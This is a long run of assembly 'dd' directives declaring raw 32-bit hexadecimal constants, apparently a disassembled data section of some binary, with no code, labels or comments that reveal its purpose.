		dd 67210FBDh, 7D11BF1Fh, 1080D000h, 0F62332h, 78C99FE4h
		dd 0EF71C261h, 2E029E01h, 0E38BD870h, 0E0AE7DE0h, 0B3183B3Dh
		dd 8194FF06h, 11C1988Eh, 0F830645Bh, 149A9F8h, 97850107h
		dd 0CC573CE8h, 0A300A8B8h, 0EE33AC27h, 107041h,	0A4E272DDh
		dd 0CF1BA97Ah, 0C03EEA00h, 0BF91BBCCh, 92CD0026h, 0F3BC4940h
		dd 8400FFF9h, 0E6F0176Ch, 953F30h, 49F415A9h, 0E7C4B938h
		dd 77A0A700h, 0C04556BFh, 0C86300B2h, 51820CC9h, 0D10009C3h
		dd 0A36E9E6Fh, 0FCAA0533h, 71E80092h, 1DD0DD2h,	80F536CCh
		dd 32325B8h, 0E144635h,	0A54C96D1h, 5860B3A0h, 53581BFEh
		dd 0B0D60FA5h, 6C81E04Bh, 6B5D18h, 0FD7F6AF2h, 0E845D470h
		dd 757D8500h, 0AD78DD5Fh, 0A4695058h, 8C1D0322h, 0FFF3713Fh
		dd 7F73D91Fh, 6400851Dh, 9C4240B9h, 1F580098h, 1EBD1721h
		dd 20607812h, 0E00C85A8h, 9B0E00BFh, 609CCED1h,	99189F48h
		dd 3E207024h, 0FE662E71h, 44803C59h, 987DF549h,	0B2E039B4h
		dd 0C80FA1ECh, 81F6B987h, 0EFD34630h, 7FB71883h, 30005AEBh
		dd 44FF8559h, 0FC2C68C3h, 0DCE8FDh, 0C7132501h,	0E1E06305h
		dd 31B07A0Eh, 6BB586E2h, 1BC50020h, 0AFA753C7h,	0AA005F5Ch
		dd 89F9F613h, 90F071F2h, 8528C018h, 0AE70E36Ch,	0E4F48201h
		dd 7B2CDF62h, 8006F191h, 0A415C11Ch, 99A021B1h,	33C708h
		dd 61655D9Ah, 8300DA74h, 0D45A5C7Ch, 491714h, 0EF70A1D6h
		dd 24868018h, 45617E63h, 3E718647h, 5876C7CAh, 9C307C44h
		dd 0D1AD68D6h, 3B5DA48h, 52324B09h, 0D620B09Dh,	71D20778h
		dd 609FE834h, 30676AF7h, 0F8035870h, 3E99B70Ah,	493688A9h
		dd 95B10AE4h, 0A61B19h,	0C3A2CD5Bh, 59006C51h, 8AABF686h
		dd 56F2E8h, 455F624Bh, 0B52FF56Dh, 0D771F700h, 24F46F5Eh
		dd 0B4793Fh, 81878BBAh,	0C734DF76h, 1F972600h, 4CE8855h
		dd 4F9E0072h, 0EACD50ACh, 600012DFh, 716AFAEh, 0ED4336h
		dd 352E425Dh, 12BB0D6Ah, 7B5FDA24h, 100BFE00h, 0B1D9EBEh
		dd 0CD6C984Fh, 0DCC85180h, 0A14807B2h, 34F20789h, 9BE085AEh
		dd 4B2E33h, 7E9161C9h, 0BF36436Ah, 7203B698h, 8486D0D2h
		dd 26E0D8FBh, 0DCAE0019h, 0DA7D916Ch, 5800CF3Fh, 2BED45FDh
		dd 7A393Eh, 0CA19BF9Dh,	0D25FE1F0h, 0F5CE6503h,	886F8D4Dh
		dd 6C36AAh, 0A9A8E987h,	0BE84B492h, 0FBA0EE00h,	6A7D1D0Ah
		dd 148000FEh, 0E445EABBh, 32009697h, 63699CECh,	3EC038A5h
		dd 0B1163EADh, 239D007Eh, 0D4C306ABh, 6A7C721Dh, 0C980EF9Fh
		dd 5CFA82EAh, 9724007Dh, 85F5CAA5h, 0F73C22ADh,	0C8B901E3h
		dd 4CBE3E35h, 516070h, 6CCDE9A0h, 8A5DEB30h, 0DDC88400h
		dd 0A5DF47BBh, 4FC07E1h, 0F062F268h, 0A98B673Ah, 80871C0Ch
		dd 20AB29C4h, 49E2E34Fh, 88764B88h, 0DC40107Ch,	5B1084A7h
		dd 0CF2867EFh, 7B5A1028h, 56D311E9h, 29BFB51Bh,	7D4E21D4h
		dd 84AF5190h, 17482659h, 0EA2E0541h, 78557B00h,	7C04F91Eh
		dd 0F0A2A177h, 6A4302ADh, 1115F723h, 285F7CF1h,	460164BFh
		dd 47B6E936h, 800051E3h, 3F0765B3h, 160A522Fh, 0F23BC33Ah
		dd 0CD2A2D00h, 2515947Bh, 567E00D6h, 0BD0388F0h, 0BE006CD5h
		dd 0A28CBC89h, 278460h,	1CBBAD2Ah, 0A3EFDF4Eh, 64B8100h
		dd 0F2F038C6h, 0D78D06D1h, 4EFEE9C7h, 42948600h, 0E18CB21Bh
		dd 7CB5072Bh, 0E0465260h, 8BC3D0B3h, 79AA6905h,	0ACE8B247h
		dd 0D70FBF00h, 773C5699h, 0C2463400h, 0FDBA2BE7h, 78D2EC27h
		dd 0EF2303D5h, 0D1826F53h, 3CDEF9C0h, 6168FA00h, 2972E3A5h
		dd 0ED6500CFh, 0E6F7A86Ah, 0BC0033F0h, 7F54D7Eh, 60A4B8h
		dd 933B78D0h, 89868D31h, 0F45E6600h, 16B6E030h,	0ADB10E24h
		dd 596E083Ch, 0C09F0D81h, 0F630EC4Dh, 9C1D24B8h, 0F0006F26h
		dd 6FA65AEh, 0EB8300E0h, 4734FE29h, 2B01A864h, 7EEDE3ABh
		dd 1BD012BAh, 40FA39h, 0A1AF3DF8h, 0EE83C3D4h, 0A9EF6C00h
		dd 0B5EC6664h, 5E81F07h, 0BA6A8020h, 0C57F5ACFh, 4F14F700h
		dd 0D52AD033h, 446000FCh, 89BF8BE0h, 6601F59Fh,	4A2D301Dh
		dd 26E4922Eh, 193768Ch,	2CAA8FCEh, 8C5B805Eh, 7A986A28h
		dd 12303F0Ah, 0A4B14038h, 0F963290Ch, 2D8FE87Ah, 727F7700h
		dd 0FA6ED8B3h, 7530F452h, 0F2EB0089h, 0FCF0DE37h, 32E87469h
		dd 3897211Dh, 0E7A435C0h, 121FA3h, 4A51FA58h, 0E0B98F4Ch
		dd 0E0342F28h, 9E535900h, 0A439FC4h, 2DB4001Fh,	0C752CEBEh
		dd 60FBBA06h, 0AF006EEEh, 0A5A0DA5h, 72781387h,	8D080024h
		dd 36FB6D5Bh, 0DD984CF0h, 0F1BD3900h, 0C042351h, 1B1400B4h
		dd 206F54DFh, 8F38A195h, 1C4F806Dh, 0FF5ADB18h,	0F3E200D9h
		dd 78CF93DCh, 73094110h, 80CB6D66h, 0D9A3461Ch,	13841F96h
		dd 454440E6h, 0C148233Bh, 0CBB3A800h, 0D170D8C8h, 0FCF83A74h
		dd 7D455C80h, 9CB96091h, 2B64FB01h, 0D1405BDFh,	0C59420h
		dd 344672FCh, 0C42202B9h, 1E19AC3Ah, 17C0109Fh,	30BD7588h
		dd 484848B5h, 9BC7B800h, 237D815Ch, 0DC01EE79h,	73026B2Fh
		dd 43F07B39h, 6A6D384Dh, 7A5896h, 2E8C33CDh, 8001DC03h
		dd 6CE39846h, 8421897Eh, 9042A2DCh, 1A38A03Ch, 0CAF000E5h
		dd 0DC145169h, 0FE7B0967h, 4031AC00h, 0D4E69F68h, 55E900EEh
		dd 500D1F2Bh, 88002308h, 0F44C176Dh, 521840h, 0B6D719D2h
		dd 8944E69Eh, 0CDDCB50Ch, 0C24067h, 922FEA91h, 50C69523h
		dd 9E2B8000h, 0BBCB2143h, 6A4D00EBh, 70B19C01h,	50074696h
		dd 0C134B887h, 40AEA4A2h, 76334520h, 0C2600D4h,	0ACA3F989h
		dd 0B0054C0h, 5DDA167Eh, 0EB2D5CFh, 3612C2C3h, 981AF780h
		dd 0D67918B3h, 6AD8B000h, 7E405305h, 0F5933B2Fh, 6DC11003h
		dd 4AE2B156h, 28950440h, 2B401FE6h, 43D70079h, 0DDBB071Eh
		dd 980FE5DAh, 0C767ECh,	2534724Bh, 1DA400B3h, 0AAFFA92Dh
		dd 0D601FB61h, 79BCFC87h, 73E8464Ah, 30E0FDh, 0D4587147h
		dd 0CA49A43Ah, 64C11E00h, 0E0044D06h, 112744Fh,	5226413Eh
		dd 0F4FCAD36h, 0BF0F693Ah, 0EEE8FB74h, 0AEEE6055h, 0EDEB4Ah
		dd 0F3B2B7CDh, 10F896ACh, 7F11BC5Ch, 0F18AFB00h, 0E748904Ah
		dd 0C837007Ah, 0E39F06FCh, 22002E2Fh, 0DBC8311h, 4846FBh
		dd 96A4A23Dh, 330E1D71h, 214EAB00h, 0E3581380h,	6167006Fh
		dd 86261E3Eh, 8D900DDCh, 71BA5601h, 5908920Eh, 0D8FB30h
		dd 3940EB2Dh, 116F3E0Fh, 4B5AA800h, 4AB44E04h, 32251D83h
		dd 4DC280E6h, 1C583372h, 0FAD8A000h, 22698C9Ah,	0B6A900D6h
		dd 4F5D1885h, 630FE08Ah, 8CC1F70Eh, 8710B1h, 9E31F986h
		dd 68C965CCh, 9DCE0F39h, 71406E25h, 2D981D5Bh, 1C3C0075h
		dd 94D7B949h, 0D9007C8Dh, 0E62BBB4Ch, 1E98B768h, 351E30h
		dd 0D70860DBh, 2A3A883Bh, 5D4C844h, 0C343BF79h,	39226890h
		dd 72EC0031h, 0B6DCD992h, 95000D11h, 4359518Ch,	7F44E4C5h
		dd 507020h, 0EF16FC7Ch,	3260124Ah, 0A67D100h, 1933FE1Ah
		dd 287BBFh, 906AA74Ch
		dd 1C0FFA5Fh, 7D1FA807h, 0C941C5h, 87265DD4h, 1AAF218h
		dd 0F64DD546h, 0D02B755Ch, 3EEC91EFh, 380A6212h, 58D57304h
		dd 342A9AC0h, 0BF4500D9h, 39CB37CFh, 6B48D305h,	0FDE4CC4h
		dd 0A25C018Ah, 637192DAh, 2FE0DF20h, 992E12h, 6997EF6Ah
		dd 1D3D4A5Ah, 0CDA10600h, 0C9C2D2ECh, 3057122h,	0E6F2105Fh
		dd 25F16C8Dh, 0C865CCCEh, 3317200h, 0F4A4F117h,	0BC900E3h
		dd 0F33CA82Dh, 9100B9B5h, 85B84D96h, 78CEE86h, 1EDA135Eh
		dd 0D64C501Ch, 9C07D4F5h, 8FA5D173h, 0F980F310h, 1E59005h
		dd 0D640F886h, 0C5B533AAh, 0C21A8088h, 0E9997CA8h, 25E003Bh
		dd 4B8F309Fh, 8A00CB48h, 0F961F26Fh, 5CDCABAAh,	270EF9C9h
		dd 7382303Ah, 10DE8CF5h, 0E38A1C04h, 229F78C0h,	0A1260076h
		dd 0B170B494h, 4CE4FB65h, 0EC50DE07h, 0A3F0F53Bh, 0F1ACD5Eh
		dd 71D59513h, 6066F660h, 89043E02h, 83FEC8B3h, 5C00A887h
		dd 1CA924Bh, 0C3157C18h, 3046BFEDh, 3A491D2Ch, 0B42D0058h
		dd 0B5EA2BC9h, 74FB0051h, 0EBE8F388h, 7B00C3E2h, 8EA0DCADh
		dd 0EC46B1h, 762EA120h,	0CF8B4B4Fh, 79B4AB01h, 0CCEFCBE3h
		dd 9555C20h, 62C6BB94h,	0EAD50C83h, 677C22D0h, 0AE00A398h
		dd 72DDF513h, 320DEEh, 9D7A6D2Fh, 0BFA4E695h, 0C5831700h
		dd 0B7970771h, 0A5663B77h, 76023F00h, 8232F91Bh, 0A12C5C01h
		dd 0C8099EF6h, 0C355D8E3h, 3E75F65Ah, 2A07291Fh, 97AE9173h
		dd 84F810AAh, 4900FB2Bh, 4203A6CCh, 0FFF914h, 0A9E612D1h
		dd 0A437BC6Dh, 5C0F8500h, 911972C6h, 0D5F70932h, 3002D78Dh
		dd 58504435h, 2961B007h, 0D50C6EDh, 4583A51h, 6E7DDA6Ah
		dd 93C380BCh, 0C100C82Bh, 4998B4FFh, 275267h, 4374EA13h
		dd 0F1FB8D02h, 0A43BC0FBh, 53C5DD04h, 0F48031BAh, 1BDD41Eh
		dd 2FFEA234h, 0F07AB5AAh, 522E5CD2h, 4100DCB6h,	38A2809Fh
		dd 40F20057h, 5F2A0B83h, 0C200B94Fh, 37E2EC9Eh,	1C85F7D7h
		dd 80A567E3h, 326C5C57h, 0C90094E1h, 9304B9C7h,	95923Ah
		dd 0D8B4CE01h, 85FC7313h, 0CA8A9A00h, 52322184h, 0FE4C2CF5h
		dd 187F0018h, 0EC5ED6B4h, 6928D412h, 6C9B9D00h,	2E961Dh
		dd 0E7E04EB1h, 3DA90BBh, 75CAC400h, 0CB6BC089h,	72770A7h
		dd 2A9AED66h, 5950F005h, 2B006F51h, 478667A3h, 4838799Ch
		dd 13005526h, 25EA9F94h, 0F9000971h, 67B15EF7h,	0F1BE21h
		dd 9428A4D4h, 833736D6h, 6C961800h, 292BAA9Fh, 4A9D0E1Ah
		dd 1280E2C5h, 0D63279C6h, 8E00177Eh, 1365B4F8h,	1835E1Fh
		dd 4163953Ah, 0D0C282CAh, 2300CFDCh, 4F57B53Ch,	0CBFA72h
		dd 512430B2h, 5F11ECDFh, 0F7D0D100h, 6C2D4CFBh,	2EF00C7h
		dd 0FA06BA18h, 1E7798F5h, 4145BE03h, 0E9544A9Eh, 30E470h
		dd 79200028h, 0DCF51450h, 3030FB5h, 0BA771033h,	54E0DFE5h
		dd 79E99645h, 510A0522h, 802BD740h, 0B1AEB27Dh,	8DC7F00Eh
		dd 52FA6364h, 0E36AC0D4h, 0AA1200F5h, 1489AD71h, 7838DF39h
		dd 0D4EC50C9h, 3B86A700h, 81BCEFAAh, 0EEC612ECh, 0D5480673h
		dd 0A103F4E6h, 96CED21Ah, 7C5DF077h, 7DBB3F91h,	315EA400h
		dd 90102F6Bh, 1EFCDB00h, 3EF6F874h, 0DA3300AEh,	2D2E684h
		dd 3F00882Fh, 6CD6EDA8h, 0B1900Ah, 85A2E7FCh, 12EC209Dh
		dd 1E25677Dh, 21000062h, 7902F8E3h, 0AB6800C4h,	0ABB9DF1h
		dd 2000B081h, 6F18A595h, 237C7BDh, 0D823D068h, 0CC801225h
		dd 64339186h, 3BE4C901h, 0BC0AA00Fh, 5DFFECh, 24D0266Bh
		dd 0C2637C4Fh, 6A56A313h, 39CC3400h, 0E0A561h, 0D873F2BBh
		dd 655F8FB0h, 4D157900h, 45399546h, 0BC10E72h, 0EE8050E9h
		dd 988220CEh, 0E6E25F00h, 64D7E03h, 0AC340047h,	59520E3Bh
		dd 8507202Fh, 7578697Fh, 18FDFC90h, 0DC711FBFh,	46A3801Bh
		dd 5BCFE61Ah, 0F4FFC0C0h, 38B840Eh, 3D1CE1DAh, 61987182h
		dd 0EA000D58h, 1A40C230h, 2814880h, 0A083D270h,	77607205h
		dd 1B1C0713h, 0F740846Ah, 0D923C525h, 2CCF0079h, 0FD37895Bh
		dd 0E3007DF6h, 144F7C98h, 7907E7h, 7F95D669h, 0B87BB348h
		dd 8F635B1Dh, 8D39A680h, 13D2EEC7h, 1BB284Ch, 0DB7C634h
		dd 3458209Ch, 0CF2F8600h, 0B8AC6579h, 78DFEC2Ah, 8722381Bh
		dd 4286EA9Ch, 671D0E59h, 0EF965500h, 18A20323h,	0BBBF52F3h
		dd 70D41B99h, 0B4717398h, 0F01C5CF8h, 0CC806C90h, 0BD507B4Ah
		dd 0E1EC7Dh, 6AA1DB5Bh,	0F8B8F53Dh, 785DEA00h, 0FB868145h
		dd 9C345CEFh, 15465300h, 0B4A8E30Ch, 0C1625E1Dh, 1E02D700h
		dd 16F0C9h, 0EDE1F3AEh,	0E178854h, 56D92F00h, 69B38327h
		dd 1B4D1CAAh, 5B123B67h, 284C30A3h, 41002422h, 3F6DBBC4h
		dd 0F24685h, 51C8A966h,	76126250h, 0AB34330Bh, 112C8093h
		dd 0EE1AD9BDh, 246900E3h, 796F0A52h, 44C62A5h, 0D98A07A7h
		dd 0DE70F13Fh, 9D0FCF8h, 3E8F8490h, 8761C20Eh, 38B6D572h
		dd 681100D0h, 84AF3047h, 0ECA0B85Ah, 5C091FC7h,	0E7D9C06Fh
		dd 43EEAD1Dh, 73E13501h, 55E4BA2Dh, 315E30h, 0DCD3F8D0h
		dd 7118C8BBh, 1E47CC02h, 7DAF02FAh, 966D64E0h, 0ADA1D100h
		dd 57289D17h, 66EB0091h, 0F42E3F87h, 640081CCh,	76D4F29Bh
		dd 7725DF0h, 1BAB5AC0h,	0C66DD0A9h, 45002AACh, 80A32EDFh
		dd 0BE1F9Ch, 0A1AB03B6h, 0C05FB5A4h, 38060200h,	0B3C945AFh
		dd 21DC008Ch, 5332A3C6h, 2300BD7Eh, 8FAF313Fh, 4402A6h
		dd 36EC5D11h, 0ED4E5F3Ch, 0F900B3EEh, 7C9BAE54h, 0F183BEh
		dd 0B0F20921h, 271A185Ch, 2DDBB51Eh, 0E2305480h, 98B282h
		dd 6F02A71Fh, 529A36B9h, 0DDB6DF00h, 0FA0F0569h, 10893F55h
		dd 484F0200h, 93EFC2E7h, 0DE6C6F00h, 0D63CDA65h, 2A960172h
		dd 5FAD4D63h, 37D5CCEEh, 8F24F000h, 0E6150230h,	0A261004Ah
		dd 0BEE26A83h, 37099890h, 155ACE9h, 4BF6A3F4h, 0D312ECh
		dd 7640A80Ch, 5C6E80FDh, 84CE290Bh, 0F03F80AAh,	7FE4B010h
		dd 986B00C5h, 0DE7697EDh, 7726A9F2h, 520BD792h,	36DA00BAh
		dd 95F2CC8h, 8104B2DDh,	0A2861380h, 3200BC5Ch, 0B5C68211h
		dd 316176h, 3D2C52D7h, 6AF8404Eh, 0D57EBC00h, 0A1EAE0D1h
		dd 7975005Bh, 777657A8h, 1004EE7h, 8EFEC0F8h, 137F50Ah
		dd 0EF5DF215h, 0F3D0E849h, 4E8666F0h, 81AA6707h, 0E500D6EEh
		dd 0EBD527h, 68175E2Ah,	0AF37411Ah, 0C22F1100h,	4EDE6F66h
		dd 55030ED4h, 2322112h,	0B8C02E91h, 0BCA67440h,	516A6B00h
		dd 7CF61A14h, 45EB006Fh, 2B2F217Dh, 0B30308AFh,	55780739h
		dd 6831D0C9h, 0D9E6038Bh, 0C3ACFB0Dh, 0B60923E0h, 0B4F0BE00h
		dd 4BC2CB39h, 1DCE002Ah, 0B19B72A9h, 0F09076C6h, 0CF88F901h
		dd 555AB868h, 0A917C4h,	53053563h, 0F4C1E84Fh, 6A312476h
		dd 2542A0B7h, 50C482C8h, 7EF8CC6h, 62324F29h, 0E3BE3215h
		dd 5756EB60h, 43C73C1Eh, 0C877FE40h, 0E8C60AEFh, 4CA0004Fh
		dd 3CC18A6h, 0CE2E3DADh, 77005817h, 454054Ah, 3AEAA1h
		dd 72502569h, 379D7A59h, 4EBFB600h, 0BB30284Dh,	3B3E002Fh
		dd 0B45AB18Fh, 9716236Eh, 1D01D2D6h, 4534166h, 0FE94D0h
		dd 9BC1C845h, 6DE17FDh,	91569603h, 0A77A8CF8h, 1D0D31D0h
		dd 0F9A30063h, 0B281D88Eh, 5E000244h, 35096F30h, 0B5F19Ch
		dd 0CC212D8Ch, 7855A960h, 7405600h, 0C7C616BFh,	48043F7Bh
		dd 76852A00h, 0F0D62EECh, 37E3BC00h, 13BD5495h,	0E9AE0133h
		dd 1BC7A0FAh, 0B96ED0C6h, 91002BEAh, 1F7CC535h,	10EED2Dh
		dd 4097A24Bh, 30785EB0h
		dd 200865Ah, 640FD328h,	5FB133h, 0A9D4E497h, 0C65E5837h
		dd 727B1D07h, 0E760FB09h, 122A832Ch, 1F3BF88Bh,	4B5700C9h
		dd 0F24CBE45h, 39065400h, 0F9071BECh, 0F59C004Ah, 3348A995h
		dd 0D418E5E4h, 91595065h, 0F671FAh, 0C4F95AAh, 0FD84E3CBh
		dd 6476F700h, 0BB196D21h, 0ABB60082h, 116196D9h, 7D001525h
		dd 0AA0E7E4Ch, 0FCB7190Ah, 58DD004Dh, 0B5B1149h, 5400F440h
		dd 55A0A281h, 5EFEEEh, 2E537566h, 0B1843823h, 1E9CA50Eh
		dd 0BD39208Ch, 0C4AB8h,	0BF965879h, 0DC80E8FAh,	1C532000h
		dd 0FFE98AD9h, 0C7A70756h, 0D78367h, 0D0A013F2h, 0E2158400h
		dd 195CC4C8h, 0FFE3178Dh, 66AF0031h, 3B1BEA14h,	0A9E25000h
		dd 4A983F06h, 0D03800ADh, 1A0ADAB9h, 29003BF4h,	956AB3FBh
		dd 0B89B3C0Bh, 209248F9h, 0C4801539h, 0E3F3A645h, 0D01C5693h
		dd 0AD0E2E37h, 800449E2h, 0C63EE4B7h, 0C39500E6h, 0CCBDC933h
		dd 0A000B486h, 67999391h, 58D96Dh, 533F7865h, 50E81360h
		dd 0F555BA00h, 3CEF9241h, 0D2A8A03Ah, 741803B1h, 7B261A19h
		dd 27237DD0h, 0FE248100h, 5CA2DE2h, 91DE0098h, 4870747h
		dd 8C77E3F5h, 7BECEB01h, 86505E79h, 8AD530h, 5345D656h
		dd 0F8D31FB8h, 4E380500h, 2E438C28h, 6EAD00C6h,	8E62AB54h
		dd 4B00A3A9h, 0E4C21C1Dh, 0F427CCh, 0F2D594FDh,	7EC86C0Fh
		dd 0CBDA0A03h, 0E1B23FDEh, 2880E79Ch, 9EB8C50Bh, 6B00896Fh
		dd 95FC15AAh, 0F48761Ah, 96351BB2h, 5A188AE0h, 9400C742h
		dd 86224FEAh, 7274E1AAh, 1FBE0081h, 21E7918h, 2600709Ch
		dd 29CF24D2h, 0E4835h, 0E66BA1B7h, 0EDBD5205h, 0C2E82198h
		dd 0DF189400h, 5AA31F3Ah, 0AB420051h, 49F0A513h, 0C8000E90h
		dd 74F57ABCh, 8BC109h, 0ACD42AFEh, 461ACCCFh, 0DE258400h
		dd 4DE6480Fh, 905C0081h, 8571E829h, 530387A1h, 43C13A97h
		dd 7202D06Fh, 0FF9400AAh, 8FF2D95Eh, 6500BA96h,	0C315B427h
		dd 0FCF9C7h, 0A28419E7h, 2CE0F830h, 4B22A100h, 38954DAEh
		dd 0B99836h, 65747FA6h,	28A25E55h, 49DF1E00h, 0F13BBA86h
		dd 661B3E7Eh, 72DEBE8Bh, 8C83A809h, 7CB0167Ah, 66E6DBF1h
		dd 61B2D00Eh, 82C0E0E9h, 0E2CFB99Dh, 0CCF50010h, 3E9E3194h
		dd 0F031893h, 7A885976h, 66B0008Eh, 6860106Ah, 0D700C839h
		dd 72DA3DF2h, 4E2E03h, 0E80DF88Fh, 869470F7h, 9139E00h
		dd 67743521h, 1C19001Ah, 517554B8h, 0D90EAF1Fh,	806997CCh
		dd 65CE575Dh, 98F8005Eh, 593920FDh, 19014C87h, 6B436352h
		dd 2883B01Fh, 86FC2C88h, 78401BBAh, 2A037910h, 7843F171h
		dd 26BAA8D8h, 36A51D72h, 3D458CB2h, 3EF69CB0h, 702FDA24h
		dd 38D00B00h, 0E490A5h,	32B5509Bh, 411F52D1h, 68C58E00h
		dd 576AFD89h, 0CB143C48h, 2746C180h, 3271CA31h,	0D8DA7600h
		dd 0AE168908h, 44CC0010h, 3A888220h, 6A02ACBFh,	9501C048h
		dd 9F816064h, 0CC2F482Eh, 0D2AEC601h, 83D0E12Ah, 0AF819C60h
		dd 0D0426E26h, 1D7B2740h, 4FB87828h, 0B4CB6100h, 0D4CFF197h
		dd 0A8F409A7h, 0CB005315h, 61BDE5E8h, 4FCB4000h, 0CA26DCABh
		dd 0E4ED00E7h, 0F8335E52h, 6248A9B2h, 6CC6031Fh, 0FBAFA48Eh
		dd 0C23F80Ah, 7C902854h, 0EF820190h, 0B58C294Dh, 0D1E730C4h
		dd 486441Eh, 67C81443h,	24BED1EFh, 0CAFF60h, 2A5D81DAh
		dd 934ABCC2h, 344E5200h, 31D1110Eh, 0A4B20295h,	57CFA24Ch
		dd 0EAC02D62h, 0B800F7EDh, 0D53AE43Fh, 1EBBC844h, 0CEB02F9Ah
		dd 1356BDC7h, 590000C6h, 0FA8FA333h, 0B14FD8F3h, 0D373E000h
		dd 2E36F9E7h, 0DAEC0449h, 809CFC7Bh, 3956188h, 0AA3B6400h
		dd 0ADD77325h, 0BC650093h, 14072F23h, 3C0B5CD1h, 0A460CEh
		dd 4EA63C7h, 82295C6Fh,	0BA549000h, 18343B2Ah, 0FD84A03h
		dd 0E05662FBh, 0F5B4C7h, 0A1A6C4FAh, 6D8B28E1h,	19BA970Eh
		dd 9FFBC041h, 791DCBFEh, 151600CEh, 1E78C9E6h, 0E7139BDBh
		dd 1E004D1Bh, 0A9CA633Fh, 4CBF00F4h, 8978FC5Dh,	490156A7h
		dd 0B1B9137h, 8AD08292h, 0A887006Dh, 7F83DA4Dh,	7C90C064h
		dd 0EC135000h, 0EE0E5E1Ch, 0DD9F24A7h, 602E0E3Ch, 1B038A62h
		dd 2B6D6C60h, 71357A0Eh, 85CF6965h, 13C04312h, 2535A2Ch
		dd 0E5F91F98h, 6F60BD8Ah, 0AB00C47Ch, 45F12725h, 1E10A1h
		dd 168A8B75h, 5F546106h, 900C2E24h, 0C369BF03h,	68BCACA1h
		dd 8C457100h, 72D7E8AEh, 1AE74A01h, 88CA66A0h, 4975CE8h
		dd 5EA1DE6Eh, 7634C824h, 109849EAh, 3A09C201h, 2AAB79E3h
		dd 0DB3D4h, 94198DA7h, 0E1FB592Eh, 6F07000h, 0C1E7F4BCh
		dd 56DF1E4Ah, 0AE414046h, 0A5C29758h, 680083F2h, 6038F353h
		dd 928C2A04h, 76770008h, 7EF69AC6h, 0D2005724h,	731C5A27h
		dd 0EE2A66h, 4859DDA2h,	0A52CC609h, 6936E600h, 2B993EF5h
		dd 4C0B2607h, 55283A0Fh, 0A37009Fh, 0C9FD9CD1h,	0F200666Bh
		dd 0BA880CB0h, 0B98F44h, 0FECA10A5h, 0E11BA248h, 6CDD4500h
		dd 293D2FF9h, 4C9A07E6h, 0D04FE41Fh, 0F2F49C7Ah, 311FD00h
		dd 8C5DFEB0h, 617100DDh, 74D7CB57h, 0F6007D49h,	9F569D3Ah
		dd 0F390821h, 0FD57F828h, 0F2A75460h, 100E8BEh,	0A2F16914h
		dd 6F4BC2h, 88ADD395h, 44B05BB4h, 12617A37h, 0AB7D3500h
		dd 0A2310B85h, 0FD0751EEh, 81BA404Dh, 4448C7CDh, 108D248Ah
		dd 777CB00h, 77F2DAFCh,	830E0E93h, 8FC0FF8Ch, 55870206h
		dd 39C56B00h, 88D4FE01h, 27520092h, 0A1C126CBh,	683E8FD7h
		dd 0C58480DDh, 94D35DD2h, 821C0BC3h, 4D000524h,	1B5760D8h
		dd 0CFB26B0Eh, 12BF006Ah, 53E71Ah, 8161EA5Ah, 0F5754471h
		dd 25048200h, 0CA874B1h, 0C16E03A4h, 0C37A60A9h, 1E4B7D8h
		dd 84436A03h, 0D246823Eh, 3134C0FEh, 49030054h,	2EC2D24Ah
		dd 0A3009AB6h, 0C8D0F124h, 5D07CBD1h, 110018FBh, 0F30DB577h
		dd 2000417Dh, 5C61C681h, 5CDD38BBh, 0D618D263h,	43DC76ADh
		dd 15B8F00h, 22178B9h, 0C54F0F5Ah, 62C09B9Fh, 8BECBCD9h
		dd 48E0C101h, 66531331h, 44DF7F4h, 27FE8AA8h, 7732C1B7h
		dd 4063612Fh, 0E9BFD378h, 58EE4D00h, 327E4948h,	42610110h
		dd 0BD2613D6h, 706660CEh, 714CFF00h, 398CCC0Bh,	131E0FF5h
		dd 77803F9Dh, 6CDB73A5h, 0EC36092Ch, 8BAB09h, 0C4F954ACh
		dd 34632ECEh, 0B71200FCh, 9D04377Fh, 69CCFF07h,	253060B6h
		dd 7FF271F0h, 286B00F4h, 6F015141h, 0A5000915h,	0B92EFD60h
		dd 5C2F49F5h, 5B384C23h, 8544069Eh, 318625Ch, 0A757EE08h
		dd 98B2007h, 65A5E31Eh,	2AB48680h, 0B2FA3A82h, 0D7809Fh
		dd 2B0CA151h, 745C1892h, 4430001h, 0B0304D7Dh, 0DCC00EE4h
		dd 0A546AF97h, 2B02D074h, 4A7DC837h, 9AFEFFh, 0B7287908h
		dd 0A95D8423h, 94970714h, 403E18A4h, 649B5A25h,	0AE7C37h
		dd 60493116h, 7FA3B71Ch, 0E2969D00h, 0A4A0F3A5h, 3AB80Eh
		dd 37BFE80h, 0F6FC9C7h,	6CAED600h, 7F60D953h, 11300EF9h
		dd 1A808F0Dh, 7A3CF43Fh, 676639h, 0BD145CA8h, 19488AAh
		dd 0C12A4E78h, 0C4F8CB4Bh, 0E0FF2F09h, 7D00C0E5h, 0E9C7E103h
		dd 1E21F406h, 8184013Fh, 72824562h, 0C6A6D45Dh,	0C54E6F06h
		dd 82374Ah, 2D89719Ah, 94E39CF6h, 56352807h, 0B3A7CA3Eh
		dd 851CC240h, 0DEA81F21h, 30450099h, 0A3F633A6h, 0E3F99A00h
		dd 0A4B7DD37h, 6FB00F23h, 0C52A22D7h, 0B9740094h, 0AE9DEF57h
		dd 0C24FE100h, 0C3884DC8h, 0A3B842h, 17575C87h,	0E5E1D612h
		dd 0D1198C00h, 25390DA5h
		dd 4DDE0148h, 0B221690Eh, 0FFB5D4BEh, 0A2B9BD16h, 5D65440h
		dd 3ED74578h, 0AA00991Ch, 0C34A631Ah, 0DB019B5Fh, 0EBE259EAh
		dd 4BF548C7h, 9980C0F9h, 21D4B370h, 7B00288Eh, 7EE57AE7h
		dd 0EA4DFCh, 8ABD8596h,	0CC09EE3Bh, 1F61D500h, 5EC02445h
		dd 52331717h, 1AE303DBh, 42045A4Eh, 0BA26A5C6h,	3B8C1090h
		dd 2568C093h, 1E722397h, 220AE20Eh, 0E432E0CFh,	175A1Ch
		dd 0BB29CAB1h, 346A4301h, 0DE9C8395h, 0CA9F63Dh, 0A2AB915Ah
		dd 0B0099858h, 23BDC906h, 0E8B6265Ch, 0DE29AFh,	0D07FD69Ah
		dd 0C0159FF1h, 67533A0Fh, 6525806Ah, 4E67C37h, 0E37E3456h
		dd 0FC3F805Bh, 70702995h, 13B61E00h, 208C140Ah,	56503B91h
		dd 8BA073Dh, 7957EFAh, 431F8131h, 0A09C1212h, 645D405Dh
		dd 517252h, 0CA0FDC65h,	0F44138CCh, 337FB3Ah, 5154EF32h
		dd 80DEC094h, 0C44000B6h, 14EC0805h, 0B00CD7Bh,	8A4E59BAh
		dd 374110h, 6CF1046Fh, 7458DD49h, 0E8F5BB00h, 50232C69h
